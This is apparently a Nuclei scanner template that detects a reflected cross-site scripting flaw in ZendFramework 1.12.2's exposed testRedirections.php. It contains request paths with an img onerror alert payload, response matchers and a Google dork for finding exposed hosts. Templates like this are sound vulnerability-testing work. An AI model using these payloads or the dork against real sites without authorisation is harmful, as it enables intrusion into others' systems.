45 lines
1.3 KiB
YAML
45 lines
1.3 KiB
YAML
id: zend-v1-xss
|
|
|
|
info:
|
|
name: ZendFramework 1.12.2 - Cross-Site Scripting
|
|
author: c3l3si4n
|
|
severity: medium
|
|
description: |
|
|
ZendFramework of versions <=1.12.2 contain a cross-site scripting vulnerability via an arbitrarily supplied parameter.
|
|
reference:
|
|
- https://twitter.com/c3l3si4n/status/1600035722148212737
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
google-query: inurl:"/tests/Zend/Http/"
|
|
tags: zend,zendframework,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/vendor/diablomedia/zendframework1-http/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3¶m=<img/src=x%20onerror=alert(1)>"
|
|
- "{{BaseURL}}/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3¶m=<img/src=x%20onerror=alert(document.domain)>"
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"redirection"]'
|
|
- '"param"'
|
|
- '<img/src=x onerror=alert(document.domain)'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a004730450221009b3af7535c942d939a7463c5c3332c3d96b8b6c37337c0b3c19f2e328ccb7a51022031b67302f23c6c4dbc39c125ff2e43c087440dd55f91bb9a68636fe1ca3a54b3:922c64590222798bb761d5b6d8e72950
|